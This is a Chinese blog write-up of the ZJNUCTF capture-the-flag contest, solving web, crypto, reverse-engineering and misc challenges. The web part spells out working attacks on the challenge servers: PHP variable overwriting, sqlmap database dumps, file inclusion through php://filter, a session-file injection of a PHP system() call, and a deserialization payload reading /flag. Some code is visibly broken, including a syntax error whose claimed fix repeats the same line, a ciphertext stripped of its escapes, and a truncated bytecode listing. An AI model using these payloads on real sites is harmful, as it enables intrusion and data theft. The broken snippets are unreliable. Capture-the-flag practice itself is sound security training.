zoukankan      html  css  js  c++  java
  • ZJNUCTF

    WEB


    1.easy_php

    <?php 
    highlight_file("index.php");      #高亮代码
    include("flag.php");                  #包含flag.php文件
    $_aaa = "No No No"; 
    $_bbb = "Welcome"; 
    if($_SERVER["REQUEST_METHOD"]!="POST"){       #判断上传类型是不是POST,如果不是,就die
    die("
    "."Welcome to ZJNUCTF!"); 
    } 
    if(!isset($_POST["flag"])){        #POST一个flag变量
    die ($_aaa); 
    } 
    foreach ($_GET as $key => $value){     #遍历一下post上来的数组
        $$key = $$value;                     
    } 
    
    foreach ($_POST as $key => $value){    #遍历一下get上来的数组
    $$key = $value; 
    } 
    
    if ($_POST["flag"]!==$flag){      #如果post上来的变量跟flag.php里面的变量不一样,就die
    die($_aaa); 
    } 
    else 
    { 
    echo "This is your flag : ".$flag."
    "; 
    die($_bbb); 
    } 
    ?>
    

    分析代码的过程已经在上面了,总而言之就是要post一个flag,如果跟原来的flag一样,就输出。
    参考链接:https://www.freebuf.com/column/150731.html
    这里利用了变量覆盖漏洞,利用第一个foreach先将$flag的值赋给$_bbb,然后利用die($_bbb)将原本的flag值打印出来。
    构造payload:
    在这里插入图片描述


    2.Easysql
    没啥好讲的,sqlmap一把嗦。
    先用BP抓包,保存为2.txt在这里插入图片描述
    python2 sqlmap.py -r 2.txt --dbs --thread 5
    在这里插入图片描述
    跑了一遍,先跑了sys,发现不是这个数据库,是test数据库:
    python2 sqlmap.py -r 2.txt -D test --tables --thread 5在这里插入图片描述
    python2 sqlmap.py -r 2.txt -D test -T flag --columns --thread 5
    在这里插入图片描述
    python2 sqlmap.py -r 2.txt -D test -T flag -C flag --dump --thread 5
    在这里插入图片描述


    3.lfi2rce
    打开链接,提示:在这里插入图片描述
    提示了user.php,phpinfo.php.分别访问一下,发现phpinfo.php可以访问,并且给了php的一系列信息。
    在index.php上,有一个文件包含漏洞include($_POST['file']);,上传一个file变量,就可以获得想要文件的源码。利用方法为:
    file=php://filter/read=convert.base64-encode/resource=user.php
    在这里插入图片描述
    PD9waHANCiAgICBzZXNzaW9uX3N0YXJ0KCk7DQogICAgZWNobyAkX0NPT0tJRVsndXNlciddOw0KICAgICRfU0VTU0lPTlsnbmFtZSddID0gJF9DT09LSUVbJ3VzZXInXTsNCg==
    base64解码一下,得到:

    <?php
        session_start();
        echo $_COOKIE['user'];
        $_SESSION['name'] = $_COOKIE['user'];
    

    这里又存在一个cookie文件包含漏洞。先分析一下这个代码:
    echo $_COOKIE['user'];这里需要我们上传一个参数,为user,并且利用cookie传值的方式传输。

    $_SESSION['name'] = $_COOKIE['user'];这里将cookie传入的值赋给session。
    首先我们随便传一个值:在这里插入图片描述
    传了一个cookie,值为admin。
    然后去phpinfo对应的路径去寻找cookie:在这里插入图片描述
    /var/lib/php/sessions这个即为存放路径,存放格式为sess_+cookie值。
    cookie值的查看方法在:在这里插入图片描述
    4stodq9feohijqk3jb9dlshjg4这个即为cookie。
    那么cookie存放的绝对路径为:/var/lib/php/sessions/sess_4stodq9feohijqk3jb9dlshjg4
    我们再利用index.php的文件包含漏洞包涵一下cookie:在这里插入图片描述
    bmFtZXxzOjU6ImFkbWluIjs= ==>name|s:5:"admin";
    将获得的数据base64解码以后,我们发现了我们上传了cookie。从而我们可以利用这个漏洞,去执行php的命令:
    构造恶意用户名:
    <?php system("ls"); ?>
    在这里插入图片描述
    在这里插入图片描述
    bmFtZXxzOjE4OiI8P3BocCBzeXN0ZW0oImxzIikiOw== ==>name|s:18:"<?php system("ls")";
    这里发现base64解码的结果跟我们上传的参数不一样,应该是被过滤了。想办法绕过:url编码绕过。
    在这里插入图片描述
    查看源码,发现我们已经上传成功了:在这里插入图片描述
    再利用漏洞包含以下cookie:在这里插入图片描述
    bmFtZXxzOjIyOiI8P3BocCBzeXN0ZW0oImxzIik7ID8+Ijs= ==>name|s:22:"<?php system("ls"); ?>";
    为什么还是现实不出来呢,我也不知道为什么。经历了一下午的纠结之后,无意中想到去掉base64会怎么样,于是:

    file=php://filter/read=convert/resource=/var/lib/php/sessions/sess_28sfnijqudr01hk8smaqkpblq3
    在这里插入图片描述
    找到文件名了,利用文件包含漏洞包含以下就出flag了:
    在这里插入图片描述
    flag{36ab1c89-82fc-4ad6-a459-8af09703d2e7}


    4.Babyweb
    源码如下:

    <?php 
    # flag in /flag 
    class red 
    { 
        private $filename = 'index.php'; 
        function __toString() 
        { 
            return file_get_contents($this->filename); 
        } 
    } 
    function check($s) {                  //这个函数的作用,是规定我们输入的字符的ascii值必须在32-125之间(也就是不能输入%00)
        for($i = 0; $i < strlen($s); $i++) 
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) 
                return false; 
        return true; 
    } 
    
    if(isset($_GET{'exp'})) { 
    
        $exp = (string)$_GET['exp']; 
        if(check($exp)) { 
            $obj = unserialize($exp); 
            echo $obj; 
        } 
    } 
    highlight_file(__FILE__);
    

    其实很简单,就是一个php反序列化漏洞。需要注意的就是:这里的filename是private属性。
    private定义的变量,在序列化之后会生成两个空字节,一般来说空字节用%00表示,但是由于check()函数不允许%00的输入,所以必须用0代替,我不知道这一点,所以就崩了。
    php脚本如下:

    <?php
    class red 
    { 
        private $filename = '/flag'; 
    }
    $a = new red();
    echo serialize($a);
    ?>
    

    在这里插入图片描述
    这里的<0x00>就是空字节,如果你直接复制,粘贴的时候在这里就停下了。除此之外,需要将小写的s改为大写(大佬说是php版本的特性)
    果然改了以后上传就没毛病,我太菜了。
    在这里插入图片描述


    Crypto

    1.hex
    base64解码一下,然后放winhex就出来了。
    在这里插入图片描述
    得到666c61677b35306338383535372d653165632d346131302d623439652d3034616130383764303837327d在这里插入图片描述


    2.xor
    源码如下:

    key="hello"
    flag="*****************************************"
    def pad(x,y):
    	y=y + (len(x) - len(y)) * chr(len(x) - len(y))
    	return y
    def xor(x1,x2):
    	c=''
    	for i in range(len(x1)):
    		c=c+chr(ord(x1[i:i+1])^ord(x2[i:i+1]))
    	return c
    
    msg=xor(pad(flag,key),flag)
    
    msg=msg.encode()
    #msg=b'x0e	
    x0bx14Ex17x1dGx1dGG	x1cx15x11x13	x15x15AE	FGx11x11	x14x16x10x16EGx15x17x14x14x14x17Y'
    
    

    理一下思路:
    pad函数在flag、key的位数确定的情况下,就是一个定值。
    xor函数是将x1,x2每一位进行异或。
    异或的逆操作就是异或,先执行pad生成一个数(字符)即为M,M跟flag异或生成msg,我们要得到flag。只需要msg跟M异或即可。
    M在flag位数确定,以及key确定的情况下为定值,所以此题得解。
    脚本如下:

    key="hello"
    flag="*****************************************"
    def pad(x,y):
    	y=y + (len(x) - len(y)) * chr(len(x) - len(y))
    	return y
    def xor(x1,x2):
    	c=''
    	for i in range(len(x1)):
    		c=c+chr(ord(x1[i:i+1])^ord(x2[i:i+1]))
    	return c
    	
    msg = b'x0e	
    x0bx14Ex17x1dGx1dGG	x1cx15x11x13	x15x15AE	FGx11x11	x14x16x10x16EGx15x17x14x14x14x17Y'
    msg = msg.decode()
    print(xor(pad(flag,key), msg))
    

    flag{a39c9cc-8157-11ea-bc55-0242ac130003}


    reverse

    1.Signin
    ida反编译一下,shift+F12直接看到flag。
    在这里插入图片描述


    2.放linux下upx解压一下,然后ida反编译即可。在这里插入图片描述
    在这里插入图片描述


    3.RePY
    在这里插入图片描述
    脚本如下:

    enc = [
     34, 44, 39, 33, 61,
     34, 115, 114, 117, 118,
     116, 119, 120, 107, 35,
     36, 36, 119, 107, 116,
     127, 116, 37, 107, 127,
     37, 37, 120, 107, 119,
     127, 117, 116, 36, 119,
     115, 38, 37, 36, 119,
     119, 59]
    for i in enc:
        print(chr(i - 1 ^ 71),end='')
    #flag{f5632410-edd1-494c-9cc0-1934d15bcd11}
    

    4.Jvav
    用jadx反编译得到源码

    package defpackage;
    
    import java.util.Scanner;
    
    /* renamed from: Main */
    public class Main {
        public static void main(String[] args) {
            char[] enc = new char[]{'Ƙ', 'ư', 'Ƅ', 'Ɯ', 'Ǭ', 'Ð', 'Ì', 'Ƅ', 'Ƅ', 'Ɣ', 'Ä', 'ƌ', 'à', '´', 'à', 'Ü', 'À', 'ƌ', '´', 'Ð', 'ä', 'Ɛ', 'À', '´', 'à', 'ä', 'Ô', 'à', '´', 'Ô', 'Ì', 'Ɛ', 'Ä', 'À', 'Ø', 'à', 'ä', 'à', 'à', 'Ð', 'à', 'Ǵ'};
            String str = new String();
            System.out.print("Please input the flag: ");
            str = new Scanner(System.in).nextLine();
            if (str.length() != 42) {
                System.out.println("Wrong!");
                return;
            }
            for (int i = 0; i < 42; i++) {
                if ((((str.charAt(i) << 3) + 1) >> 1) != enc[i]) {
                    System.out.println("Wrong!");
                    return;
                }
            }
            System.out.println("Right!");
        }
    }
    

    重点是最后一个for循环,先将flag左移3位,+1后右移一位,具体啥是移位不懂,在java下逆回来就行。
    java脚本:

    public class a1 {
        public static void main(String[] args) {
            char[] enc = new char[]{'Ƙ', 'ư', 'Ƅ', 'Ɯ', 'Ǭ', 'Ð', 'Ì', 'Ƅ', 'Ƅ', 'Ɣ', 'Ä', 'ƌ', 'à', '´', 'à', 'Ü', 'À', 'ƌ', '´', 'Ð', 'ä', 'Ɛ', 'À', '´', 'à', 'ä', 'Ô', 'à', '´', 'Ô', 'Ì', 'Ɛ', 'Ä', 'À', 'Ø', 'à', 'ä', 'à', 'à', 'Ð', 'à', 'Ǵ'};
    
            for (int i = 0; i < 42; i++) {
                System.out.print(((enc[i] << 1) - 1) >> 3);
                System.out.print(',');
            }
            System.out.println("Right!");
        }
    }
    

    得到一串数字:
    101,107,96,102,122,51,50,96,96,100,48,98,55,44,55,54,47,98,44,51,56,99,47,44,55,56,52,55,44,52,50,99,48,47,53,55,56,55,55,51,55,124
    估计这个是ascii码,然后用python进行转换:

    list = [101,107,96,102,122,51,50,96,96,100,48,98,55,44,55,54,47,98,44,51,56,99,47,44,55,56,52,55,44,52,50,99,48,47,53,55,56,55,55,51,55,124]
    
    for i in list:
        print(chr(i,end='')
    

    但是结果不对:
    ek`fz32``d0b7,76/b,38c/,7847,42c0/5787737|
    代码改一下,改成i+1就对了:

    list = [101,107,96,102,122,51,50,96,96,100,48,98,55,44,55,54,47,98,44,51,56,99,47,44,55,56,52,55,44,52,50,99,48,47,53,55,56,55,55,51,55,124]
    
    for i in list:
        print(chr(i,end='')
    

    flag{43aae1c8-870c-49d0-8958-53d106898848}


    5.Sharpener
    在这里插入图片描述

    // test.Program
    // Token: 0x06000002 RID: 2 RVA: 0x000020D0 File Offset: 0x000002D0
    private static void Main(string[] args)
    {
    	string[] enc = new string[]
    	{
    		"61894b21be75260c4964065b1eecec4d",
    		"3cd02adb6df3f967c3acda1705bb86f1",
    		"5c04925674920eb58467fb52ce4ef728",
    		"ffbb466329361588defb5e30e5df168f",
    		"448804aefe27492b9c183351328e7500",
    		"598f5f04d65b4e0e35515b367763fee6",
    		"d4398f22c157274df2d4643884db6a56",
    		"37afcb75609159217c5548ed91c0ba1b",
    		"28cb510090e7e926daa92745a8b02362",
    		"49f01756d2edd088b64afd670400f4ac",
    		"9f396fe44e7c05c16873b05ec425cbad",
    		"958be1aac9d0641822a4dbaa3ad9010f",
    		"82c89ed04868c75db962bb3bbe2d4b4c",
    		"36f88e7b053afdaff9f9d792d142a406"
    	};
    	Console.Write("Please input the flag: ");
    	string userInput = Console.ReadLine();
    	int x = 0;
    	int ul = 0;
    	string tmp = "";
    	if (userInput.Length != 42)
    	{
    		Console.WriteLine("That Wrong!");
    		return;
    	}
    	for (int i = 0; i < userInput.Length; i++)
    	{
    		tmp += userInput[i].ToString();
    		x++;
    		if (x % 3 == 0)
    		{
    			if (!enc[ul].Equals(Program.GenerateMD5(tmp)))
    			{
    				Console.WriteLine("That Wrong!");
    				return;
    			}
    			x = 0;
    			tmp = "";
    			ul++;
    		}
    	}
    	Console.WriteLine("Right!");
    }
    
    

    把这几个md5值破解拼起来就是一个flag
    flag{b66931c0-ec9f-4d1e-bcff-5673ce3d505b}


    6.Bytecoding
    这个题目有点意思,拿到的是一个文本文档。内容如下:

      3           0 LOAD_CO
                 56 LOAD_CONST              12 (44)
                 58 LOAD_CONST               1 (101)
                 60 LOAD_CONST              14 (48)
                 62 LOAD_CONST              15 (53)
                 64 LOAD_CONST               7 (98)
                 66 LOAD_CONST               9 (51)
                 68 LOAD_CONST              11 (56)
                 70 LOAD_CONST              18 (99)
                 72 LOAD_CONST               1 (101)
                 74 LOAD_CONST              15 (53)
                 76 LOAD_CONST               7 (98)
                 78 LOAD_CONST               7 (98)
                 80 LOAD_CONST               7 (98)
                 82 LOAD_CONST              19 (124)
                 84 BUILD_LIST              42
                 86 STORE_FAST               0 (enckey)
    
      4          88 LOAD_GLOBAL              0 (input)
                 90 LOAD_CONST              20 ('GoGoGo Input Flag: ') 
                 92 CALL_FUNCTION            1
                 94 STORE_FAST               1 (inpt)
    
      5          96 LOAD_GLOBAL              1 (len)
                 98 LOAD_FAST                1 (inpt)
                100 CALL_FUNCTION            1
                102 LOAD_CONST              21 (42)
                104 COMPARE_OP               3 (!=)
                106 POP_JUMP_IF_FALSE      120
    
      6         108 LOAD_GLOBAL              2 (print)
                110 LOAD_CONST              22 ('Wrong')
                112 CALL_FUNCTION            1
                114 POP_TOP
    
      7         116 LOAD_CONST               0 (None)
                118 RETURN_VALUE
    
      8     >>  120 SETUP_LOOP              52 (to 174)
                122 LOAD_GLOBAL              3 (range)
                124 LOAD_CONST              21 (42)
                126 CALL_FUNCTION            1
                128 GET_ITER
            >>  130 FOR_ITER                40 (to 172)
                132 STORE_FAST               2 (i)
    
      9         134 LOAD_FAST                0 (enckey)
                136 LOAD_FAST                2 (i)
                138 BINARY_SUBSCR
                140 LOAD_GLOBAL              4 (ord)
                142 LOAD_FAST                1 (inpt)
                144 LOAD_FAST                2 (i)
                146 BINARY_SUBSCR
                148 CALL_FUNCTION            1
                150 LOAD_CONST              23 (1)
                152 BINARY_SUBTRACT
                154 COMPARE_OP               3 (!=)
                156 POP_JUMP_IF_FALSE      130
    
     10         158 LOAD_GLOBAL              2 (print)
                160 LOAD_CONST              22 ('Wrong')
                162 CALL_FUNCTION            1
                164 POP_TOP
    
     11         166 LOAD_CONST               0 (None)
                168 RETURN_VALUE
                170 JUMP_ABSOLUTE          130
            >>  172 POP_BLOCK
    
     12     >>  174 LOAD_GLOBAL              2 (print)
                176 LOAD_CONST              24 ('Right')
                178 CALL_FUNCTION            1
                180 POP_TOP
                182 LOAD_CONST               0 (None)
                184 RETURN_VALUE
    

    本来以为这玩意是汇编,然鹅这个是python字节码。
    看了一下,勉强看懂了一点。

    			 0 LOAD_CO
                 56 LOAD_CONST              12 (44)
                 58 LOAD_CONST               1 (101)
                 60 LOAD_CONST              14 (48)
                 62 LOAD_CONST              15 (53)
                 64 LOAD_CONST               7 (98)
                 66 LOAD_CONST               9 (51)
                 68 LOAD_CONST              11 (56)
                 70 LOAD_CONST              18 (99)
                 72 LOAD_CONST               1 (101)
                 74 LOAD_CONST              15 (53)
                 76 LOAD_CONST               7 (98)
                 78 LOAD_CONST               7 (98)
                 80 LOAD_CONST               7 (98)
                 82 LOAD_CONST              19 (124)
                 84 BUILD_LIST              42
                 86 STORE_FAST               0 (enckey)
    

    第一块,应该是一个数组(列表),里面装了['101','107','96','102','122','49','98','47','96','101','51','52','56','44','54','98','96','48','44','51','96','51','53','44','97','55','48','54','44','101','48','53','98','51','56','99','101','53','98','98','98','124']这几个数据。

    88 LOAD_GLOBAL              0 (input)
    90 LOAD_CONST              20 ('GoGoGo Input Flag: ')   inpt=input("GoGoGo Input Flag:")
    92 CALL_FUNCTION            1
    94 STORE_FAST               1 (inpt)
    

    第二块反编译过来应该就是一句代码。inpt=input("GoGoGo Input Flag:")

    96 LOAD_GLOBAL              1 (len)
    98 LOAD_FAST                1 (inpt)
    100 CALL_FUNCTION            1
    102 LOAD_CONST              21 (42)
    104 COMPARE_OP               3 (!=)
    106 POP_JUMP_IF_FALSE      120
    
     108 LOAD_GLOBAL              2 (print)
    110 LOAD_CONST              22 ('Wrong')
    112 CALL_FUNCTION            1
    114 POP_TOP
    

    第三块、第四块大概就是

    if len(inpt) != 42:
    print("wrong")
    

    之后我就看不大懂了,大概就是inptenckey进行什么计算,满足什么条件才能输出right
    我这边看了一下,f的ascii码是102enckey的第一个值是101,看看逐个+1以后,会出现什么结果。
    脚本附上:

    list=['101','107','96','102','122','49','98','47','96',
    '101','51','52','56','44','54','98','96','48','44','51',
    '96','51','53','44','97','55','48','54','44','101','48',
    '53','98','51','56','99','101','53','98','98','98','124']
    for i in list:
        print(chr(int(i)+1),end='')
    

    flag{2c0af459-7ca1-4a46-b817-f16c49df6ccc}
    这也太神奇了吧


    Misc
    1.签到题
    关注公众号,回复zjnuctf拿flag

    2.真·签到
    下载得到一个word,打开隐藏文字即可得到flag。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述


    3.你知道汉信码吗
    网上找到四个角拼接得到图
    在这里插入图片描述


    4.Keyboard
    参考:
    https://www.cnblogs.com/hackxf/p/10670844.html
    https://blog.csdn.net/qq_36609913/article/details/78578406

    现在linux下执行以下语句:
    tshark -r keyboard.pcapng -T fields -e usb.capdata > usbdata.txt
    得到一堆数字:在这里插入图片描述
    一行有16个数字,两个数字为1位,也就是8位。第3位上的数字,就是我们敲击键盘时候所对应的字母。
    对照表如下:

    normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"	","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
    
    shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"	","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":""","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
    

    关注完第位以后,关注第一位,有时候是0,有时候是2,盲猜第一位是2的时候为按住shift键。对了以下,刚好前面几位是flag{
    构造脚本:

    normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"	","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
    shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"	","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":""","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
    flag=''
    f = open('usbdata.txt','r')
    for i in range(200):
        l = f.readline()
        if l[4:6] == '00':
            continue
        elif l[0]=='2':
            flag += shiftKeys[l[4:6]]
        elif l[0]=='0':
            flag += normalKeys[l[4:6]]
        else:
            continue
        print(flag)
    #flag{4565fd58-c9b2-4544-86f7-872e38433467}
    

    这里因为我不知道多少行我就多跑了几次,python会执行到有错误的地方自动停止。在这里插入图片描述


    5.有趣的Minecraft
    把图片用winhex打开,找到最后有一行base64,解码得到cnserver.bi0x.cn在这里插入图片描述
    打开游戏,进去。
    在这里插入图片描述
    flag{22a61e26-6a6c-4130-a39a-15f0ce5c15fc}


    6.zip
    密码为UVWHZAITWAU
    图片上有四种密码,第一种是MIMIMOYS,第二种是银河字母,第三种是小人舞旗,第四种是鸟图腾
    第一种和第四种是啥我不知道,但是不妨碍我爆破。
    本来按照表对出来,是HZAIYQ
    中间的部分字母然后前三位,后两位就盲猜,爆破就行。
    生成字典的脚本附上:

    list='HZAITQ'
    all='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    print(len(all))
    f=open("pass.txt","a")
    for i in all:
        for j in all:
            for k in all:
                for l in all:
                    for m in all:
                        for n in all:
                            flag=i+j+k+list+l+m
                            f.write(flag+"
    ")
    f.close()
    
    

    跑了挺久的,但是不太对,我仔细核对了一遍,还是错。
    那应该是已知的六位中出了错。先猜只有一位错了,试了六次,还费了挺久的时间,终于发现一直的六位,最后一位出错,是W。orz
    然后,打开压缩包,就得到了flag。


    7.Interesting video
    flag:000{w3lc0me_1337_players_and_good_luck_with_the_game}
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    在这里插入图片描述
    这里是摩斯密码,密码为.-/-./-..,翻译过来是and

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    这里是旗语,翻译过来是the
    在这里插入图片描述
    linux下命令行执行一下,得到game
    综上:000{w3lc0me_1337_players_and_good_luck_with_the_game}

  • 相关阅读:
    关键字static在C和C++中的区别
    C指针声明解读之左右法则
    各大公司面试题集锦
    C++的const和static的用法
    C++11常用特性总结
    C++多态下的访问修饰符
    #define 宏实现函数功能可能存在的问题
    Qt读写Json
    C/C++ 内存与指针
    C++ delete仍可访问的问题
  • 原文地址:https://www.cnblogs.com/shenjuxian/p/13702746.html
Copyright © 2011-2022 走看看